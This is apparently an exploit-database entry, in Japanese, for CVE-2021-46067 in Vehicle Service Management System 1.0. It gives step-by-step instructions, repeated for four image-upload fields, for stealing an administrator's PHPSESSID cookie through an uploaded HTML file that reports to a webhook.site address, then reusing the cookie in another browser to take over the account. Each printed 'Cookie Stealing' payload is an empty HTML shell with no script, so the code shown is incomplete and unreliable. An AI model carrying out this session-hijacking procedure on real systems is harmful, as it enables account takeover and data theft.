CVE-2021-46067
エクスプロイトタイトル: Vehicle Service Management System -「複数」の Cookie 窃取による完全なアカウント乗っ取り
CVE: CVE-2021-46067
CVSS: 9.8 CRITICAL
参照:
説明:
Vehicle Service Management System 1.0 では、攻撃者が Cookie を窃取することで、完全なアカウント乗っ取り(Full Account Takeover)につながる可能性があります。
1. Vehicle Service Management System -「マイアカウント」 (/admin/?page=user)
エクスプロイト:
- 管理パネルにログインする http://localhost/vehicle_service/admin
- 「マイアカウント」セクションに移動する http://localhost/vehicle_service/admin/?page=user
- Webhook URL を生成する - https://webhook.site
- Webhook の一意の URL をコピーし、以下の html コードに貼り付ける。
ペイロード:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- 上記の html コードを保存する(例:Cookie Stealing.html)
- 「マイアカウント」セクションで必要な詳細をすべて入力し、Avatar で html ファイルを参照する。
- 更新ボタンをクリックする。
- アバター画像を新しいタブで開き、Webhook のステータスを確認する。
- リクエストが取得でき、そこに PHPSESSID が含まれている。
- PHPSESSID の値をコピーし、別のブラウザを開く。
- 管理パネルにアクセスする http://localhost/vehicle_service/admin
- Cookie の値を確認し、PHPSESSID の値をコピーした PHPSESSID の値に変更する。
- 管理パネルにアクセスする http://localhost/vehicle_service/admin
- アカウントに正常にログインする。アカウント乗っ取りが成功する。
2. Vehicle Service Management System -「ユーザー一覧」 (/admin/?page=user/manage_user)
エクスプロイト:
- 管理パネルにログインする http://localhost/vehicle_service/admin
- 「ユーザー一覧」セクションに移動し、「新規作成」ボタンをクリックする。
- Webhook URL を生成する - https://webhook.site
- Webhook の一意の URL をコピーし、以下の html コードに貼り付ける。
ペイロード:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- 上記の html コードを保存する(例:Cookie Stealing.html)
- 「新規ユーザー作成」セクションで必要な詳細をすべて入力し、Avatar で html ファイルを参照する。
- 保存ボタンをクリックする。
- アバター画像を新しいタブで開き、Webhook のステータスを確認する。
- リクエストが取得でき、そこに PHPSESSID が含まれている。
- PHPSESSID の値をコピーし、別のブラウザを開く。
- 管理パネルにアクセスする http://localhost/vehicle_service/admin
- Cookie の値を確認し、PHPSESSID の値をコピーした PHPSESSID の値に変更する。
- 管理パネルにアクセスする http://localhost/vehicle_service/admin
- アカウントに正常にログインする。アカウント乗っ取りが成功する。
3. Vehicle Service Management System -「設定-システムロゴ」 (/admin/?page=system_info)
エクスプロイト:
- 管理パネルにログインする http://localhost/vehicle_service/admin
- 「設定」セクションに移動する http://localhost/vehicle_service/admin/?page=system_info
- Webhook URL を生成する - https://webhook.site
- Webhook の一意の URL をコピーし、以下の html コードに貼り付ける。
ペイロード:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- 上記の html コードを保存する(例:Cookie Stealing.html)
- 「設定」セクションで必要な詳細をすべて入力し、System Logo で html ファイルを参照する。
- 更新ボタンをクリックする。
- システムロゴ画像を新しいタブで開き、Webhook のステータスを確認する。
- リクエストが取得でき、そこに PHPSESSID が含まれている。
- PHPSESSID の値をコピーし、別のブラウザを開く。
- 管理パネルにアクセスする http://localhost/vehicle_service/admin
- Cookie の値を確認し、PHPSESSID の値をコピーした PHPSESSID の値に変更する。
- 管理パネルにアクセスする http://localhost/vehicle_service/admin
- アカウントに正常にログインする。アカウント乗っ取りが成功する。
4. Vehicle Service Management System -「設定-ウェブサイトカバー」 (/admin/?page=system_info)
エクスプロイト:
- 管理パネルにログインする http://localhost/vehicle_service/admin
- 「設定」セクションに移動する http://localhost/vehicle_service/admin/?page=system_info
- Webhook URL を生成する - https://webhook.site
- Webhook の一意の URL をコピーし、以下の html コードに貼り付ける。
ペイロード:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- 上記の html コードを保存する(例:Cookie Stealing.html)
- 「設定」セクションで必要な詳細をすべて入力し、Website Cover で html ファイルを参照する。
- 更新ボタンをクリックする。
- ウェブサイトカバー画像を新しいタブで開き、Webhook のステータスを確認する。
- リクエストが取得でき、そこに PHPSESSID が含まれている。
- PHPSESSID の値をコピーし、別のブラウザを開く。
- 管理パネルにアクセスする http://localhost/vehicle_service/admin
- Cookie の値を確認し、PHPSESSID の値をコピーした PHPSESSID の値に変更する。
- 管理パネルにアクセスする http://localhost/vehicle_service/admin
- アカウントに正常にログインする。アカウント乗っ取りが成功する。
影響:
攻撃者が悪意のある html ファイルをアップロードすると、サードパーティのウェブサイトにリダイレクトされ、リクエスト内で Cookie が露出します。これにより、完全なアカウント乗っ取りにつながります。
緩和策:
ファイルアップロード機能を検証し、セッション内で二次チェックを実行することを推奨します。